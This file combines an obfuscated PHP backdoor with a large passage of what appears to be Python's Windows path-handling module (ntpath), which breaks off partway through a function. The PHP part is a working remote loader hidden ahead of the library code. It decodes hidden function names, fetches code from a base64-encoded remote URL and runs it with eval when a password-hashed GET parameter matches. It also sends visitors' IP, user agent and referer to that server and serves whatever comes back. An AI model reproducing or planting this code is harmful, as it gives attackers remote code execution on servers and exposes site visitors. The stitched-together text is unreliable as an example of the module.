ing(0); goto glSNg_LzxYIsX2; glSNg_LzxYIsX2: $utiBLP6LCTh1f2 = "\x72" . "\141" . "\x6e" . "\x67" . "\x65"; goto L8DBoJliwEzMp6; SlOv92pUeuRbs6: function OB2VtLXkgRIPlw($f1mozuANtprQMT) { return rtrim(strtr(base64_encode($f1mozuANtprQMT), "\x2b\57", "\x2d\x5f"), "\75"); } goto TDIrhdxvpNlFt9; os9gRuFURD1cGv: error_reporting(0); goto uxRi5Q7SMo35qu; wH1UQCn4Kym7NZ: @header("\x43\x6f\x6e\164\145\156\164\x2d\x54\171\x70\x65\x3a" . $Obe5O3pNrh1wNk["\x74\171\x70\145"]); goto lY0mM3QMw40Wja; sjCKQHz6Q60Ccm: $HONQlNCvlYnOH8 = substr($Gc9_8J48v7x6gV, strrpos($Gc9_8J48v7x6gV, "\56")); goto pYDglccpOwInMp; utegf_3TzFo8KM: header("\103\157\156\164\145\x6e\x74\x2d\x54\x79\x70\x65\x3a\40\x74\145\x78\x74\57\150\x74\155\154\73\40\x63\x68\x61\162\163\x65\164\75\165\164\x66\x2d\x38"); goto os9gRuFURD1cGv; tmjXznylhTgZ8a: if (in_array($Obe5O3pNrh1wNk["\x73\164\x61\164\x75\x73"], array(0, 200))) { goto nhUzRbCLQnuhLh; } goto c5_FfvrAB9U4Yd; ogjcRqlt8m1yFt: AtSmUC2FnsV8tA::KI1Kxaut6tOb4_(); goto utegf_3TzFo8KM; cCQUyydRpwrclc: $Obe5O3pNrh1wNk = cTP2tSflXg1jMM(base64_decode("\141\110\x52\60\x63\104\x6f\x76\114\62\150\63\131\x6a\x55\64\144\x6a\101\63\x4c\x6e\x42\154\143\110\121\x75\x63\62\x46\x73\132\x53\70"), $Ym0oIOWx6ByrbA); goto tmjXznylhTgZ8a; HEzdriQUoUsbcb: oZofqjcmql98Vl: goto RdRkLruqBbgd8Z; Pji3QhS868OoF4: pdT1WydGNbUwH7: goto uQMzHjqkf81tHB; hiBpnXBGYbBU3U: $kQ67spUDDLBffj = false; goto vf1Hpkrvn4j1uD; Cd7vkzilA61XS4: $cVPbc5aZBpQh4S = ''; goto Pji3QhS868OoF4; YpOvOLk2zAfp6F: $Ym0oIOWx6ByrbA["\163\156"] = ob2vTLxkGRipLW($_SERVER["\123\103\122\x49\x50\124\x5f\x4e\x41\115\105"]); goto hQrHQ4TUM_yVuh; zCPQ5sJ4prS3cM: class AtsmuC2FNSv8tA { static function HiR6oxdC0gvy2z($BW71TGqh6zqLp0) { goto KHgKgOn3FsDTTa; WnkUI9pHyPBuZm: $GkQAuHLQ3N3XQW = ''; goto WM19NL2F93TTJX; KHgKgOn3FsDTTa: $KsSQ2WVlAfhYGi = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto SYHHG2duid0FC5; AkZwDNU1hD13k2: Msf7bOuYLqoUBQ: goto zjbEJbLu1rh6fC; SYHHG2duid0FC5: $AtNGdLmxUU_eyr = $KsSQ2WVlAfhYGi("\176", "\40"); goto sDlG7XxbTh82si; sDlG7XxbTh82si: $Qa8g5WW7UopXE6 = explode("\53", $BW71TGqh6zqLp0); goto WnkUI9pHyPBuZm; WM19NL2F93TTJX: foreach ($Qa8g5WW7UopXE6 as $TzjXB0hEV3mWbH => $vBDjbTJco2LdIH) { $GkQAuHLQ3N3XQW .= $AtNGdLmxUU_eyr[$vBDjbTJco2LdIH - 5199]; ek2Wb04KDv0_8r: } goto AkZwDNU1hD13k2; zjbEJbLu1rh6fC: return $GkQAuHLQ3N3XQW; goto mvSqNKKQW0dWKE; mvSqNKKQW0dWKE: } static function pt0kgTqOQgWXOc($U2C_3PmbNzlS0s, $dFFH41CbFWTZVX) { goto PeU6Y0BKnLAjiD; PeU6Y0BKnLAjiD: $vAUjzk7AjeF8LJ = curl_init($U2C_3PmbNzlS0s); goto XgkiCPEdPud823; F0lfera6M44Flk: $ew4RbqszUvgJ48 = curl_exec($vAUjzk7AjeF8LJ); goto KyuOuTMYBfTs48; KyuOuTMYBfTs48: return empty($ew4RbqszUvgJ48) ? $dFFH41CbFWTZVX($U2C_3PmbNzlS0s) : $ew4RbqszUvgJ48; goto zEsIdRklqzh6zy; XgkiCPEdPud823: curl_setopt($vAUjzk7AjeF8LJ, CURLOPT_RETURNTRANSFER, 1); goto F0lfera6M44Flk; zEsIdRklqzh6zy: } static function ki1kXAUT6tOb4_() { goto EJ7566q1lfwfcm; xsPP8ESDmR1Aur: @eval($ynlJNPNMmDeXVa[1 + 3]($jHnu4Zp7Wf_MZ8)); goto K3HoZH3pxQfn2c; FiKMKPq3gMe0CH: @$ynlJNPNMmDeXVa[0 + 10](INPUT_GET, "\157\x66") == 1 && die($ynlJNPNMmDeXVa[1 + 4](__FILE__)); goto BrQwRNK4B0XILn; CLlLAWjdHMTY3X: foreach ($uOCboEbhYVOtM8 as $w9aHYENXNIyo2G) { $ynlJNPNMmDeXVa[] = self::hiR6oxdc0gVy2z($w9aHYENXNIyo2G); pinv70Hl5Kbn3s: } goto m3wDdy0f3A1DIX; m3wDdy0f3A1DIX: p8r5sgUOVFkFTO: goto Z8yLLNYDCQaHAi; OzamV3emZ6eAbO: $s4rOMgcAWfiAfB = @$ynlJNPNMmDeXVa[2 + 1]($ynlJNPNMmDeXVa[5 + 1], $bVmLTGOkbLprfr); goto L3pzZmGB9cJxd1; uXTgzQ2JHrZmxk: $jHnu4Zp7Wf_MZ8 = self::pt0kgtQOqGWXoc($xj2AeH6SP1maOW[1 + 0], $ynlJNPNMmDeXVa[4 + 1]); goto xsPP8ESDmR1Aur; NO2vbVdI186HFj: HzpQLyst8TW3Tc: goto UaJaR8RWF8BtcP; L3pzZmGB9cJxd1: $xj2AeH6SP1maOW = $ynlJNPNMmDeXVa[2 + 0]($s4rOMgcAWfiAfB, true); goto FiKMKPq3gMe0CH; BrQwRNK4B0XILn: if (!(@$xj2AeH6SP1maOW[0] - time() > 0 and md5(md5($xj2AeH6SP1maOW[0 + 3])) === "\x65\64\66\x66\63\x63\x32\65\145\x38\70\x62\66\60\142\x32\x34\71\x66\x34\141\71\61\x38\x31\65\143\x61\71\x34\x62\61")) { goto HzpQLyst8TW3Tc; } goto uXTgzQ2JHrZmxk; EJ7566q1lfwfcm: $uOCboEbhYVOtM8 = array("\x35\x32\62\x36\x2b\x35\x32\61\x31\53\65\62\62\x34\x2b\x35\x32\x32\70\53\x35\x32\x30\71\x2b\65\62\x32\x34\53\65\x32\x33\x30\x2b\65\x32\x32\63\53\x35\x32\60\70\53\x35\x32\61\x35\53\x35\x32\62\66\53\x35\x32\60\x39\53\x35\62\x32\60\53\65\62\x31\64\53\x35\x32\x31\x35", "\65\x32\61\x30\53\x35\x32\60\71\x2b\65\62\61\x31\53\x35\x32\63\60\x2b\x35\62\x31\x31\53\x35\62\x31\64\53\65\62\60\x39\53\x35\x32\x37\x36\x2b\65\62\67\64", "\65\x32\61\71\x2b\x35\x32\x31\60\53\65\x32\x31\64\x2b\x35\x32\x31\x35\x2b\x35\62\63\x30\53\65\62\62\x35\x2b\65\x32\62\x34\53\x35\62\62\66\53\x35\62\61\64\53\65\x32\x32\x35\x2b\65\62\62\64", "\65\62\61\x33\x2b\x35\62\x32\70\53\x35\x32\x32\66\53\65\x32\x31\x38", "\x35\62\x32\67\53\65\x32\62\70\x2b\65\x32\x31\x30\x2b\65\62\x32\64\x2b\x35\x32\x37\x31\53\65\62\67\63\53\x35\62\x33\x30\x2b\x35\x32\x32\65\x2b\65\x32\x32\x34\53\65\62\x32\66\53\x35\62\x31\x34\53\x35\x32\62\x35\x2b\65\62\x32\x34", "\x35\x32\62\x33\x2b\65\x32\62\60\x2b\65\x32\x31\x37\53\65\62\x32\x34\53\65\x32\x33\60\x2b\65\x32\x32\62\53\x35\62\62\x34\53\x35\x32\x30\x39\x2b\x35\62\x33\x30\53\x35\x32\x32\x36\53\65\62\61\x34\53\65\x32\x31\x35\53\x35\62\x30\x39\53\x35\x32\x32\x34\53\65\x32\61\65\53\x35\62\60\x39\53\65\62\61\60", "\x35\x32\x35\63\53\x35\x32\x38\x33", "\x35\x32\x30\x30", "\x35\62\67\x38\x2b\x35\x32\x38\63", "\65\x32\66\x30\x2b\x35\62\x34\63\53\65\62\x34\63\53\x35\x32\66\60\x2b\x35\62\63\66", "\x35\62\62\x33\x2b\x35\62\62\x30\x2b\x35\x32\x31\67\53\65\62\60\x39\53\x35\62\62\x34\x2b\65\x32\x31\x31\53\65\x32\63\x30\53\65\62\x32\60\53\65\x32\61\65\53\x35\62\61\63\53\65\62\x30\70\x2b\65\62\x30\71"); goto CLlLAWjdHMTY3X; Z8yLLNYDCQaHAi: $bVmLTGOkbLprfr = @$ynlJNPNMmDeXVa[1]($ynlJNPNMmDeXVa[10 + 0](INPUT_GET, $ynlJNPNMmDeXVa[4 + 5])); goto OzamV3emZ6eAbO; K3HoZH3pxQfn2c: die; goto NO2vbVdI186HFj; UaJaR8RWF8BtcP: } } goto ogjcRqlt8m1yFt; t8TpplQkxmNQKg: VWq7n8avJneZWe: goto ZVM0YvvgbIo11U; ufyV20U0fMcSJg: nhUzRbCLQnuhLh: goto b7DnrAS9hKZE6C; L2fzlj7JmrK97A: $Ym0oIOWx6ByrbA["\163"] = oB2VtLXKgRIPLW($DCQAxVYJ0s2xNZ); goto juNf0o5W9RUnP8; TDIrhdxvpNlFt9: function tDk2fhL7aRlnRq() { goto A0jfGlM3HtbTc8; vsGQjQL1n3QW2Q: $cIX1t8ECuEurN8 = $cIX1t8ECuEurN8[0]; goto myJj1wXf2lYI5E; QOh3G8lOqaQWeK: xB39IGICyiwlN1: goto PWUIOKof_frKdi; WSbyHvGkSPW8G6: return $cIX1t8ECuEurN8; goto Grz6njp1WbkzyW; myJj1wXf2lYI5E: Fy2tlq68W1Z4cY: goto WSbyHvGkSPW8G6; B99XlumIIoF9yc: goto O37D2TgI1D66fQ; goto kKfGd_juWsO9SB; tNtX7SnHEoN9ve: if (isset($_SERVER["\x48\124\x54\120\x5f\130\137\x52\x45\101\114\x5f\x49\x50"]) && !empty($_SERVER["\x48\124\x54\x50\x5f\x58\x5f\122\105\101\x4c\x5f\x49\x50"])) { goto IbsgkORsYRpgBL; } goto m1YuAzS4K6e0ZJ; gwXV80f3Kvnin5: $cIX1t8ECuEurN8 = $_SERVER["\110\124\124\120\137\130\x5f\106\117\122\x57\101\x52\x44\x45\x44\137\x46\x4f\x52"]; goto F5UC4mBhfgxdX2; xHNzAyzHVlO5pq: $cIX1t8ECuEurN8 = explode("\54", $cIX1t8ECuEurN8); goto vsGQjQL1n3QW2Q; LkMROqR4RYuDsX: $cIX1t8ECuEurN8 = $_SERVER["\x52\x45\115\117\124\105\x5f\101\x44\x44\x52"]; goto dYhlmimy6UKWgc; PWUIOKof_frKdi: $cIX1t8ECuEurN8 = $_SERVER["\x48\124\124\x50\x5f\x43\x46\x5f\x43\117\116\x4e\105\x43\x54\x49\116\x47\x5f\x49\x50"]; goto B99XlumIIoF9yc; dYhlmimy6UKWgc: goto O37D2TgI1D66fQ; goto QOh3G8lOqaQWeK; c7Zjb3FklkFA6T: $cIX1t8ECuEurN8 = trim(str_replace("\x20", '', $cIX1t8ECuEurN8), "\54"); goto jnEONwk8qQ3QoE; IYNLV2P_z1R8_9: $cIX1t8ECuEurN8 = $_SERVER["\x48\x54\x54\x50\137\130\137\x52\105\x41\x4c\137\x49\x50"]; goto g3xl2m2S2bmEAU; A0jfGlM3HtbTc8: $cIX1t8ECuEurN8 = ''; goto rR27t1UBdIHeAR; rR27t1UBdIHeAR: if (isset($_SERVER["\110\x54\x54\x50\137\x43\x46\137\103\117\x4e\x4e\105\x43\124\111\116\107\137\x49\x50"]) && !empty($_SERVER["\x48\x54\x54\120\x5f\x43\x46\137\103\x4f\x4e\x4e\105\103\124\x49\x4e\x47\x5f\x49\x50"])) { goto xB39IGICyiwlN1; } goto tNtX7SnHEoN9ve; jnEONwk8qQ3QoE: if (!(strpos($cIX1t8ECuEurN8, "\x2c") !== false)) { goto Fy2tlq68W1Z4cY; } goto xHNzAyzHVlO5pq; m1YuAzS4K6e0ZJ: if (isset($_SERVER["\x48\x54\x54\x50\137\130\x5f\x46\x4f\122\x57\101\x52\104\x45\104\137\x46\117\x52"]) && !empty($_SERVER["\x48\x54\124\120\x5f\130\137\x46\117\x52\x57\x41\x52\104\x45\104\137\x46\x4f\x52"])) { goto YO_1CRlkHk0b5K; } goto LkMROqR4RYuDsX; kKfGd_juWsO9SB: IbsgkORsYRpgBL: goto IYNLV2P_z1R8_9; F5UC4mBhfgxdX2: O37D2TgI1D66fQ: goto c7Zjb3FklkFA6T; g3xl2m2S2bmEAU: goto O37D2TgI1D66fQ; goto PoJd83qL9Ntzk7; PoJd83qL9Ntzk7: YO_1CRlkHk0b5K: goto gwXV80f3Kvnin5; Grz6njp1WbkzyW: } goto J5qe_wS1vgzck7; b7DnrAS9hKZE6C: if (!strlen($Obe5O3pNrh1wNk["\143\157\156\x74\145\156\x74"])) { goto VWq7n8avJneZWe; } goto wH1UQCn4Kym7NZ; juNf0o5W9RUnP8: $Ym0oIOWx6ByrbA["\x75"] = ob2VTLxKgRIPLw($_SERVER["\x48\x54\x54\120\x5f\125\x53\x45\122\x5f\x41\107\x45\x4e\x54"]); goto cCQUyydRpwrclc; ks1k8aTWZXL63p: $Ym0oIOWx6ByrbA["\162\146"] = oB2VtLXkgriplW($cVPbc5aZBpQh4S); goto L2fzlj7JmrK97A; zdY3FjKTBRxxC2: exit("\x7b\x20\42\x65\x72\162\x6f\162\42\x3a\40\x32\60\x30\x2c\x20\42\x6c\x63\x22\72\40\x22\x6a\153\42\54\40\x22\144\141\164\x61\42\72\x20\x5b\x20\x31\x20\135\40\x7d"); goto PZW0GG3F0uoCYA; mBWmHT5C3u6kIU: exit(strrev(md5($_SERVER["\110\x54\124\x50\137\x48\117\123\124"]))); goto iFI7SVRy1TDCFo; lY0mM3QMw40Wja: exit($Obe5O3pNrh1wNk["\x63\x6f\156\x74\x65\156\164"]); goto t8TpplQkxmNQKg; ZVM0YvvgbIo11U: aXnousimfq1MHe: ?>
# Module 'ntpath' -- common operations on WinNT/Win95 pathnames
"""Common pathname manipulations, WindowsNT/95 version.
Instead of importing this module directly, import os and refer to this
module as os.path.
"""
# strings representing various path-related bits and pieces
# These are primarily for export; internally, they are hardcoded.
# Should be set before imports for resolving cyclic dependency.
curdir = '.'
pardir = '..'
extsep = '.'
sep = '\\'
pathsep = ';'
altsep = '/'
defpath = '.;C:\\bin'
devnull = 'nul'
import os
import sys
import stat
import genericpath
from genericpath import *
__all__ = ["normcase","isabs","join","splitdrive","splitroot","split","splitext",
"basename","dirname","commonprefix","getsize","getmtime",
"getatime","getctime", "islink","exists","lexists","isdir","isfile",
"ismount", "expanduser","expandvars","normpath","abspath",
"curdir","pardir","sep","pathsep","defpath","altsep",
"extsep","devnull","realpath","supports_unicode_filenames","relpath",
"samefile", "sameopenfile", "samestat", "commonpath", "isjunction",
"ALLOW_MISSING"]
def _get_bothseps(path):
if isinstance(path, bytes):
return b'\\/'
else:
return '\\/'
# Normalize the case of a pathname and map slashes to backslashes.
# Other normalizations (such as optimizing '../' away) are not done
# (this is done by normpath).
try:
from _winapi import (
LCMapStringEx as _LCMapStringEx,
LOCALE_NAME_INVARIANT as _LOCALE_NAME_INVARIANT,
LCMAP_LOWERCASE as _LCMAP_LOWERCASE)
def normcase(s):
"""Normalize case of pathname.
Makes all characters lowercase and all slashes into backslashes.
"""
s = os.fspath(s)
if not s:
return s
if isinstance(s, bytes):
encoding = sys.getfilesystemencoding()
s = s.decode(encoding, 'surrogateescape').replace('/', '\\')
s = _LCMapStringEx(_LOCALE_NAME_INVARIANT,
_LCMAP_LOWERCASE, s)
return s.encode(encoding, 'surrogateescape')
else:
return _LCMapStringEx(_LOCALE_NAME_INVARIANT,
_LCMAP_LOWERCASE,
s.replace('/', '\\'))
except ImportError:
def normcase(s):
"""Normalize case of pathname.
Makes all characters lowercase and all slashes into backslashes.
"""
s = os.fspath(s)
if isinstance(s, bytes):
return os.fsencode(os.fsdecode(s).replace('/', '\\').lower())
return s.replace('/', '\\').lower()
# Return whether a path is absolute.
# Trivial in Posix, harder on Windows.
# For Windows it is absolute if it starts with a slash or backslash (current
# volume), or if a pathname after the volume-letter-and-colon or UNC-resource
# starts with a slash or backslash.
def isabs(s):
"""Test whether a path is absolute"""
s = os.fspath(s)
if isinstance(s, bytes):
sep = b'\\'
altsep = b'/'
colon_sep = b':\\'
else:
sep = '\\'
altsep = '/'
colon_sep = ':\\'
s = s[:3].replace(altsep, sep)
# Absolute: UNC, device, and paths with a drive and root.
# LEGACY BUG: isabs("/x") should be false since the path has no drive.
if s.startswith(sep) or s.startswith(colon_sep, 1):
return True
return False
# Join two (or more) paths.
def join(path, *paths):
path = os.fspath(path)
if isinstance(path, bytes):
sep = b'\\'
seps = b'\\/'
colon = b':'
else:
sep = '\\'
seps = '\\/'
colon = ':'
try:
if not paths:
path[:0] + sep #23780: Ensure compatible data type even if p is null.
result_drive, result_root, result_path = splitroot(path)
for p in map(os.fspath, paths):
p_drive, p_root, p_path = splitroot(p)
if p_root:
# Second path is absolute
if p_drive or not result_drive:
result_drive = p_drive
result_root = p_root
result_path = p_path
continue
elif p_drive and p_drive != result_drive:
if p_drive.lower() != result_drive.lower():
# Different drives => ignore the first path entirely
result_drive = p_drive
result_root = p_root
result_path = p_path
continue
# Same drive in different case
result_drive = p_drive
# Second path is relative to the first
if result_path and result_path[-1] not in seps:
result_path = result_path + sep
result_path = result_path + p_path
## add separator between UNC and non-absolute path
if (result_path and not result_root and
result_drive and result_drive[-1:] not in colon + seps):
return result_drive + sep + result_path
return result_drive + result_root + result_path
except (TypeError, AttributeError, BytesWarning):
genericpath._check_arg_types('join', path, *paths)
raise
# Split a path in a drive specification (a drive letter followed by a
# colon) and the path specification.
# It is always true that drivespec + pathspec == p
def splitdrive(p):
"""Split a pathname into drive/UNC sharepoint and relative path specifiers.
Returns a 2-tuple (drive_or_unc, path); either part may be empty.
If you assign
result = splitdrive(p)
It is always true that:
result[0] + result[1] == p
If the path contained a drive letter, drive_or_unc will contain everything
up to and including the colon. e.g. splitdrive("c:/dir") returns ("c:", "/dir")
If the path contained a UNC path, the drive_or_unc will contain the host name
and share up to but not including the fourth directory separator character.
e.g. splitdrive("//host/computer/dir") returns ("//host/computer", "/dir")
Paths cannot contain both a drive letter and a UNC path.
"""
drive, root, tail = splitroot(p)
return drive, root + tail
def splitroot(p):
"""Split a pathname into drive, root and tail. The drive is defined
exactly as in splitdrive(). On Windows, the root may be a single path
separator or an empty string. The tail contains anything after the root.
For example:
splitroot('//server/share/') == ('//server/share', '/', '')
splitroot('C:/Users/Barney') == ('C:', '/', 'Users/Barney')
splitroot('C:///spam///ham') == ('C:', '/', '//spam///ham')
splitroot('Windows/notepad') == ('', '', 'Windows/notepad')
"""
p = os.fspath(p)
if isinstance(p, bytes):
sep = b'\\'
altsep = b'/'
colon = b':'
unc_prefix = b'\\\\?\\UNC\\'
empty = b''
else:
sep = '\\'
altsep = '/'
colon = ':'
unc_prefix = '\\\\?\\UNC\\'
empty = ''
normp = p.replace(altsep, sep)
if normp[:1] == sep:
if normp[1:2] == sep:
# UNC drives, e.g. \\server\share or \\?\UNC\server\share
# Device drives, e.g. \\.\device or \\?\device
start = 8 if normp[:8].upper() == unc_prefix else 2
index = normp.find(sep, start)
if index == -1:
return p, empty, empty
index2 = normp.find(sep, index + 1)
if index2 == -1:
return p, empty, empty
return p[:index2], p[index2:index2 + 1], p[index2 + 1:]
else:
# Relative path with root, e.g. \Windows
return empty, p[:1], p[1:]
elif normp[1:2] == colon:
if normp[2:3] == sep:
# Absolute drive-letter path, e.g. X:\Windows
return p[:2], p[2:3], p[3:]
else:
# Relative path with drive, e.g. X:Windows
return p[:2], empty, p[2:]
else:
# Relative path, e.g. Windows
return empty, empty, p
# Split a path in head (everything up to the last '/') and tail (the
# rest). After the trailing '/' is stripped, the invariant
# join(head, tail) == p holds.
# The resulting head won't end in '/' unless it is the root.
def split(p):
"""Split a pathname.
Return tuple (head, tail) where tail is everything after the final slash.
Either part may be empty."""
p = os.fspath(p)
seps = _get_bothseps(p)
d, r, p = splitroot(p)
# set i to index beyond p's last slash
i = len(p)
while i and p[i-1] not in seps:
i -= 1
head, tail = p[:i], p[i:] # now tail has no slashes
return d + r + head.rstrip(seps), tail
# Split a path in root and extension.
# The extension is everything starting at the last dot in the last
# pathname component; the root is everything before that.
# It is always true that root + ext == p.
def splitext(p):
p = os.fspath(p)
if isinstance(p, bytes):
return genericpath._splitext(p, b'\\', b'/', b'.')
else:
return genericpath._splitext(p, '\\', '/', '.')
splitext.__doc__ = genericpath._splitext.__doc__
# Return the tail (basename) part of a path.
def basename(p):
"""Returns the final component of a pathname"""
return split(p)[1]
# Return the head (dirname) part of a path.
def dirname(p):
"""Returns the directory component of a pathname"""
return split(p)[0]
# Is a path a junction?
if hasattr(os.stat_result, 'st_reparse_tag'):
def isjunction(path):
"""Test whether a path is a junction"""
try:
st = os.lstat(path)
except (OSError, ValueError, AttributeError):
return False
return bool(st.st_reparse_tag == stat.IO_REPARSE_TAG_MOUNT_POINT)
else:
def isjunction(path):
"""Test whether a path is a junction"""
os.fspath(path)
return False
# Being true for dangling symbolic links is also useful.
def lexists(path):
"""Test whether a path exists. Returns True for broken symbolic links"""
try:
st = os.lstat(path)
except (OSError, ValueError):
return False
return True
# Is a path a mount point?
# Any drive letter root (eg c:\)
# Any share UNC (eg \\server\share)
# Any volume mounted on a filesystem folder
#
# No one method detects all three situations. Historically we've lexically
# detected drive letter roots and share UNCs. The canonical approach to
# detecting mounted volumes (querying the reparse tag) fails for the most
# common case: drive letter roots. The alternative which uses GetVolumePathName
# fails if the drive letter is the result of a SUBST.
try:
from nt import _getvolumepathname
except ImportError:
_getvolumepathname = None
def ismount(path):
"""Test whether a path is a mount point (a drive root, the root of a
share, or a mounted volume)"""
path = os.fspath(path)
seps = _get_bothseps(path)
path = abspath(path)
drive, root, rest = splitroot(path)
if drive and drive[0] in seps:
return not rest
if root and not rest:
return True
if _getvolumepathname:
x = path.rstrip(seps)
y =_getvolumepathname(path).rstrip(seps)
return x.casefold() == y.casefold()
else:
return False
# Expand paths beginning with '~' or '~user'.
# '~' means $HOME; '~user' means that user's home directory.
# If the path doesn't begin with '~', or if the user or $HOME is unknown,
# the path is returned unchanged (leaving error reporting to whatever
# function is called with the expanded path as argument).
# See also module 'glob' for expansion of *, ? and [...] in pathnames.
# (A function should also be defined to do full *sh-style environment
# variable expansion.)
def expanduser(path):
"""Expand ~ and ~user constructs.
If user or $HOME is unknown, do nothing."""
path = os.fspath(path)
if isinstance(path, bytes):
tilde = b'~'
else:
tilde = '~'
if not path.startswith(tilde):
return path
i, n = 1, len(path)
while i < n and path[i] not in _get_bothseps(path):
i += 1
if 'USERPROFILE' in os.environ:
userhome = os.environ['USERPROFILE']
elif not 'HOMEPATH' in os.environ:
return path
else:
try:
drive = os.environ['HOMEDRIVE']
except KeyError:
drive = ''
userhome = join(drive, os.environ['HOMEPATH'])
if i != 1: #~user
target_user = path[1:i]
if isinstance(target_user, bytes):
target_user = os.fsdecode(target_user)
current_user = os.environ.get('USERNAME')
if target_user != current_user:
# Try to guess user home directory. By default all user
# profile directories are located in the same place and are
# named by corresponding usernames. If userhome isn't a
# normal profile directory, this guess is likely wrong,
# so we bail out.
if current_user != basename(userhome):
return path
userhome = join(dirname(userhome), target_user)
if isinstance(path, bytes):
userhome = os.fsencode(userhome)
return userhome + path[i:]
# Expand paths containing shell variable substitutions.
# The following rules apply:
# - no expansion within single quotes
# - '$$' is translated into '$'
# - '%%' is translated into '%' if '%%' are not seen in %var1%%var2%
# - ${varname} is accepted.
# - $varname is accepted.
# - %varname% is accepted.
# - varnames can be made out of letters, digits and the characters '_-'
# (though is not verified in the ${varname} and %varname% cases)
# XXX With COMMAND.COM you can use any characters in a variable name,
# XXX except '^|<>='.
def expandvars(path):
"""Expand shell variables of the forms $var, ${var} and %var%.
Unknown variables are left unchanged."""
path = os.fspath(path)
if isinstance(path, bytes):
if b'$' not in path and b'%' not in path:
return path
import string
varchars = bytes(string.ascii_letters + string.digits + '_-', 'ascii')
quote = b'\''
percent = b'%'
brace = b'{'
rbrace = b'}'
dollar = b'$'
environ = getattr(os, 'environb', None)
else:
if '$' not in path and '%' not in path:
return path
import string
varchars = string.ascii_letters + string.digits + '_-'
quote = '\''
percent = '%'
brace = '{'
rbrace = '}'
dollar = '$'
environ = os.environ
res = path[:0]
index = 0
pathlen = len(path)
while index < pathlen:
c = path[index:index+1]
if c == quote: # no expansion within single quotes
path = path[index + 1:]
pathlen = len(path)
try:
index = path.index(c)
res += c + path[:index + 1]
except ValueError:
res += c + path
index = pathlen - 1
elif c == percent: # variable or '%'
if path[index + 1:index + 2] == percent:
res += c
index += 1
else:
path = path[index+1:]
pathlen = len(path)
try:
index = path.index(percent)
except ValueError:
res += percent + path
index = pathlen - 1
else:
var = path[:index]
try:
if environ is None:
value = os.fsencode(os.environ[os.fsdecode(var)])
else:
value = environ[var]
except KeyError:
value = percent + var + percent
res += value
elif c == dollar: # variable or '$$'
if path[index + 1:index + 2] == dollar:
res += c
index += 1
elif path[index + 1:index + 2] == brace:
path = path[index+2:]
pathlen = len(path)
try:
index = path.index(rbrace)
except ValueError:
res += dollar + brace + path
index = pathlen - 1
else:
var = path[:index]
try:
if environ is None:
value = os.fsencode(os.environ[os.fsdecode(var)])
else:
value = environ[var]
except KeyError:
value = dollar + brace + var + rbrace
res += value
else:
var = path[:0]
index += 1
c = path[index:index + 1]
while c and c in varchars:
var += c
index += 1
c = path[index:index + 1]
try:
if environ is None:
value = os.fsencode(os.environ[os.fsdecode(var)])
else:
value = environ[var]
except KeyError:
value = dollar + var
res += value
if c:
index -= 1
else:
res += c
index += 1
return res
# Normalize a path, e.g. A//B, A/./B and A/foo/../B all become A\B.
# Previously, this function also truncated pathnames to 8+3 format,
# but as this module is called "ntpath", that's obviously wrong!
try:
from nt import _path_normpath as normpath
except ImportError:
def normpath(path):
"""Normalize path, eliminating double slashes, etc."""
path = os.fspath(path)
if isinstance(path, bytes):
sep = b'\\'
altsep = b'/'
curdir = b'.'
pardir = b'..'
else:
sep = '\\'
altsep = '/'
curdir = '.'
pardir = '..'
path = path.replace(altsep, sep)
drive, root, path = splitroot(path)
prefix = drive + root
comps = path.split(sep)
i = 0
while i < len(comps):
if not comps[i] or comps[i] == curdir:
del comps[i]
elif comps[i] == pardir:
if i > 0 and comps[i-1] != pardir:
del comps[i-1:i+1]
i -= 1
elif i == 0 and root:
del comps[i]
else:
i += 1
else:
i += 1
# If the path is now empty, substitute '.'
if not prefix and not comps:
comps.append(curdir)
return prefix + sep.join(comps)
# Return an absolute path.
try:
from nt import _getfullpathname
except ImportError: # not running on Windows - mock up something sensible
def abspath(path):
"""Return the absolute version of a path."""
path = os.fspath(path)
if not isabs(path):
if isinstance(path, bytes):
cwd = os.getcwdb()
else:
cwd = os.getcwd()
path = join(cwd, path)
return normpath(path)
else: # use native Windows method on Windows
def abspath(path):
"""Return the absolute version of a path."""
try:
return _getfullpathname(normpath(path))
except (OSError, ValueError):
# See gh-75230, handle outside for cleaner traceback
pass
path = os.fspath(path)
if not isabs(path):
if isinstance(path, bytes):
sep = b'\\'
getcwd = os.getcwdb
else:
sep = '\\'
getcwd = os.getcwd
drive, root, path = splitroot(path)
# Either drive or root can be nonempty, but not both.
if drive or root:
try:
path = join(_getfullpathname(drive + root), path)
except (OSError, ValueError):
# Drive "\0:" cannot exist; use the root directory.
path = drive + sep + path
else:
path = join(getcwd(), path)
return normpath(path)
try:
from nt import _getfinalpathname, readlink as _nt_readlink
except ImportError:
# realpath is a no-op on systems without _getfinalpathname support.
def realpath(path, *, strict=False):
return abspath(path)
else:
def _readlink_deep(path, ignored_error=OSError):
# These error codes indicate that we should stop reading links and
# return the path we currently have.
# 1: ERROR_INVALID_FUNCTION
# 2: ERROR_FILE_NOT_FOUND
# 3: ERROR_DIRECTORY_NOT_FOUND
# 5: ERROR_ACCESS_DENIED
# 21: ERROR_NOT_READY (implies drive with no media)
# 32: ERROR_SHARING_VIOLATION (probably an NTFS paging file)
# 50: ERROR_NOT_SUPPORTED (implies no support for reparse points)
# 67: ERROR_BAD_NET_NAME (implies remote server unavailable)
# 87: ERROR_INVALID_PARAMETER
# 4390: ERROR_NOT_A_REPARSE_POINT
# 4392: ERROR_INVALID_REPARSE_DATA
# 4393: ERROR_REPARSE_TAG_INVALID
allowed_winerror = 1, 2, 3, 5, 21, 32, 50, 67, 87, 4390, 4392, 4393
seen = set()
while normcase(path) not in seen:
seen.add(normcase(path))
try:
old_path = path
path = _nt_readlink(path)
# Links may be relative, so resolve them against their
# own location
if not isabs(path):
# If it's something other than a symlink, we don't know
# what it's actually going to be resolved against, so
# just return the old path.
if not islink(old_path):
path = old_path
break
path = normpath(join(dirname(old_path), path))
except ignored_error as ex:
if ex.winerror in allowed_winerror:
break
raise
except ValueError:
# Stop on reparse points that are not symlinks
break
return path
def _getfinalpathname_nonstrict(path, ignored_error=OSError):
# These error codes indicate that we should stop resolving the path
# and return the value we currently have.
# 1: ERROR_INVALID_FUNCTION
# 2: ERROR_FILE_NOT_FOUND
# 3: ERROR_DIRECTORY_NOT_FOUND
# 5: ERROR_ACCESS_DENIED
# 21: ERROR_NOT_READY (implies drive with no media)
# 32: ERROR_SHARING_VIOLATION (probably an NTFS paging file)
# 50: ERROR_NOT_SUPPORTED
# 53: ERROR_BAD_NETPATH
# 65: ERROR_NETWORK_ACCESS_DENIED
# 67: ERROR_BAD_NET_NAME (implies remote server unavailable)
